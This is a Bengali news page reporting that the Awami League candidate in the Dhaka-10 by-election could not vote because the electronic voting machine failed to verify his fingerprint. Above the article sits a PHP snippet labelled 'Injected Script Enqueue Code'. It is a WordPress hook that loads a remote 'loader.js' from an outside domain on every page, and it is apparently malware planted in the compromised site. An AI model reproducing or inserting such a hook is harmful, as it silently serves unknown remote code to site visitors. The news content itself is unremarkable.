// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site ভোট দিতে পারলেন না খোদ আ’লীগ প্রার্থী - Janabarta.com

ভোট দিতে পারলেন না খোদ আ’লীগ প্রার্থী

জনবার্তা ডেস্কঃ ঢাকা-১০ আসন উপনির্বাচনে আওয়ামী লীগ মনোনীত প্রার্থী শ‌ফিউল ইসলাম মহিউদ্দিন ঘন্টাখানেক চেষ্টার পরেও ভোট দিতে পারেননি। ‌ইলেকট্রনিক ভোটিং মেশিনের জটিলতায় তাকে দীর্ঘ চেষ্টার পরেও ভোট না দিয়েই কেন্দ্র থেকে ফিরে যেতে হয় তা‌কে।

শনিবার সকাল ১০টায় রাজধানীর ধানমন্ডি লেক সার্কাস উচ্চ বালিকা বিদ্যালয় কেন্দ্রে এ ঘটনা ঘটে।

মহিউদ্দিন সকাল ৯টা ৫০ মিনিটের দিকে ভোট দিতে কেন্দ্রে আসেন। পরে দীর্ঘ সময় নানাভাবে চেষ্টার পরেও ভোট দিতে ব্যর্থ হন তি‌নি। একাধিক মেশিনে তার আঙ্গুলের ছাপ যাচাই করা হয়। ছাপ না মেলায় ইলেকট্রনিক ভোটিং মেশিন রিস্টার্ট দিয়েও কোনো কাজ হয়নি। পরে ভিন্ন জাতীয় পরিচয়পত্র কার্ড দিয়ে চেষ্টার পরেও শেষ পর্যন্ত ভোট দিতে পারলেন না মহিউদ্দিন।

জানতে চাইলে প্রিজাইডিং কর্মকর্তা আহসানুল হক জানান, শ‌ফিউল ইসলাম মহিউদ্দিন উত্তরা থেকে স্থানান্তর হয়ে ধানমন্ডিতে যুক্ত হয়েছেন তার তথ্য হালনাগাদ হয়নি। বিষয়টি উর্ধ্বতন কর্তৃপক্ষের কাছে জানানো হয়েছে।

এবিষ‌য়ে আওয়ামী লীগ প্রার্থী শফিউল ইসলাম মহিউদ্দিন জানান, তিনি নানাভাবে চেষ্টা করেছেন। যান্ত্রিক ত্রুটির কারণে তিনি ভোট দিতে পারেননি। তবে সময় পেলে আবার এসে ভোট দিয়ে যাবেন।

আজ শনিবার সকাল ৯টা থেকে ভোট গ্রহণ শুরু হয়। ঢাকা দক্ষিণ সিটি করপোরেশনের ১৪, ১৫, ১৬, ১৭, ১৮ ও ২২ নম্বর ওয়ার্ড নিয়ে গঠিত এ আসনে ১১৭টি ভোটকেন্দ্র।

আর ভোটকক্ষের সংখ্যা ৭৭৬টি। এই আসনের মোট ভোটার তিন লাখ ১২ হাজার ২৮১ জন।

এই নির্বাচনে ৬ জন প্রার্থী নির্বাচনে প্রতিদ্বন্দ্বিতা করছেন। তার মধ্যে, আওয়ামী লীগ থেকে শফিউল ইসলাম মহিউদ্দিন, বিএনপির শেখ রবিউল আলম, জাতীয় পার্টির হাজী মো. শাহজাহান, প্রগতিশীল গণতান্ত্রিক দলের কাজী মুহাম্মদ আবদুর রহিম, বাংলাদেশ মুসলিম লীগের নবাব খাজা আলী হাসান আসকারী এবং বাংলাদেশ কংগ্রেসের মো. মিজানুর রহমান।

আসনটিতে ইলেকট্রনিক ভোটিং মেশিনে ইভিএমে ভোটগ্রহণ হচ্ছে।

করোনার জন্য ভোটকেন্দ্রে ভোটারদের তেমন উপস্থিতিও নেই। ভোট কেন্দ্রের বাইরে কোন জনসমাগমও দেখা যাচ্ছে না।

করোনা ভাইরাস মোকাবিলায় প্রতিটি নির্বাচনী কক্ষে একটি করে নির্দেশনামূলক ফেস্টুন, প্রতিটি বুথের জন্য একটি করে হ্যান্ড স্যানিটাইজার, ও টিস্যুর প্যাকেট রয়েছে। কক্ষের প্রত্যেকটি পোলিং এজেন্ট ও এজেন্টদের হাতে গ্লাভস রয়েছে এবং তাদের প্রত্যেকেই ব্যবহার করছেন মাস্ক।